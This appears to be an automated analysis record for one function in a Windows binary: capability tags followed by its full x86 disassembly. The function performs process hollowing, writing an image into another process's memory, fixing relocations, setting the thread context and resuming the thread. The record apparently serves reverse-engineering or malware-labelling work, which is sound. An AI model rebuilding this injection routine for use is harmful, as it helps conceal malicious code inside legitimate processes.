Function at 0xe5640
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x13206c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xorps xmm0, xmm0
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x424], eax
mov esi, edx
mov eax, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp - 0x3fc], eax
mov eax, dword [ebp + 0x1c]
push 0x2cc
mov dword [ebp - 0x428], eax
lea eax, [ebp - 0x3f0]
push 0
push eax
mov dword [ebp - 0x41c], ebx
mov dword [ebp - 0x3f8], edi
movups xmmword [ebp - 0x410], xmm0
call fcn.000f3cb0
add esp, 0xc
lea eax, [ebp - 0x418]
xorps xmm0, xmm0
mov edx, esi
movq qword [ebp - 0x418], xmm0
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.000e5c30
add esp, 0xc
test eax, eax
jne 0xe56e9
mov eax, 6
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.000f1776
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x418]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x3f4], 0
cmp dword [ebx + 0x34], eax
jne 0xe5734
mov ecx, dword [ebp - 0x414]
cmp dword [ebp - 0x3fc], ecx
ja 0xe5734
lea edx, [ebp - 0x400]
mov dword [ebp - 0x3f4], eax
push edx
push 0x40
push ecx
push eax
push dword [ebp - 0x410]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0xe57c7
push 0x114
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.000f3cb0
add esp, 0xc
mov dword [ebp - 0x120], 0x114
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x11c], 6
jae 0xe57c7
push 0x12a380
push 0x12985c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x418]
push dword [ebp - 0x410]
call eax
test eax, eax
jne 0xe57b3
push 0x40
push 0x3000
push dword [ebp - 0x3fc]
push dword [ebx + 0x34]
push dword [ebp - 0x410]
call esi
mov dword [ebp - 0x3f4], eax
jmp 0xe57c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x12a398
call fcn.000e5c00
add esp, 8
cmp dword [ebp - 0x3f4], 0
jne 0xe58e6
push 0x40
push 0x3000
push dword [ebp - 0x3fc]
push 0
push dword [ebp - 0x410]
call esi
mov edx, eax
mov dword [ebp - 0x3f4], edx
test edx, edx
je 0xe58c2
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0xe58be
cmp dword [ebx + 0xa4], 0
je 0xe58be
mov esi, dword [ebp - 0x3f8]
mov edi, edx
sub edi, dword [ebx + 0x34]
add eax, esi
mov dword [ebp - 0x400], eax
mov ecx, dword [eax]
test ecx, ecx
je 0xe58bc
lea edx, [ecx + esi]
xor esi, esi
mov ecx, dword [eax + 4]
lea ebx, [eax + 8]
lea eax, [ecx - 8]
test eax, 0xfffffffe
jbe 0xe5896
movzx eax, word [ebx]
mov ecx, eax
shr eax, 0xc
and ecx, 0xfff
sub eax, 1
je 0xe5872
sub eax, 1
je 0xe586a
sub eax, 1
jne 0xe5880
add dword [ecx + edx], edi
jmp 0xe5880
movzx eax, di
add dword [ecx + edx], eax
jmp 0xe5880
mov eax, dword [ecx + edx]
shl eax, 0x10
add eax, edi
shr eax, 0x10
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0x400]
inc esi
add ebx, 2
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
shr eax, 1
cmp esi, eax
jb 0xe5848
mov eax, dword [ebp - 0x400]
mov esi, dword [ebp - 0x3f8]
add eax, ecx
mov dword [ebp - 0x400], eax
mov ecx, dword [eax]
test ecx, ecx
jne 0xe5833
mov edx, dword [ebp - 0x3f4]
mov ebx, dword [ebp - 0x41c]
mov edi, esi
test edx, edx
jne 0xe58e6
push 0
push dword [ebp - 0x410]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.000f1776
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x420]
push eax
push 4
lea eax, [ebp - 0x3f4]
mov dword [ebp - 0x420], 0
push eax
mov eax, dword [ebp - 0x34c]
add eax, 8
push eax
push dword [ebp - 0x410]
call esi
mov eax, dword [ebp - 0x424]
push 0
push dword [ebp - 0x3fc]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0x3f4]
push edi
mov dword [ecx + edi + 0x34], eax
push dword [ebp - 0x3f4]
push dword [ebp - 0x410]
call esi
test eax, eax
jne 0xe5969
push eax
push dword [ebp - 0x410]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.000f1776
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x3f0], 0x10007
cmp ecx, dword [ebp - 0x418]
jne 0xe5989
mov eax, dword [ebx + 0x34]
add eax, dword [ebx + 0x28]
jmp 0xe598e
mov eax, dword [ebx + 0x28]
add eax, ecx
mov dword [ebp - 0x340], eax
lea eax, [ebp - 0x3f0]
push eax
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x40c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x40c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x410]
call esi
mov ecx, dword [ebp - 0x428]
mov eax, dword [ebp - 0x408]
pop edi
pop esi
mov dword [ecx], eax
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.000f1776
mov esp, ebp
pop ebp
ret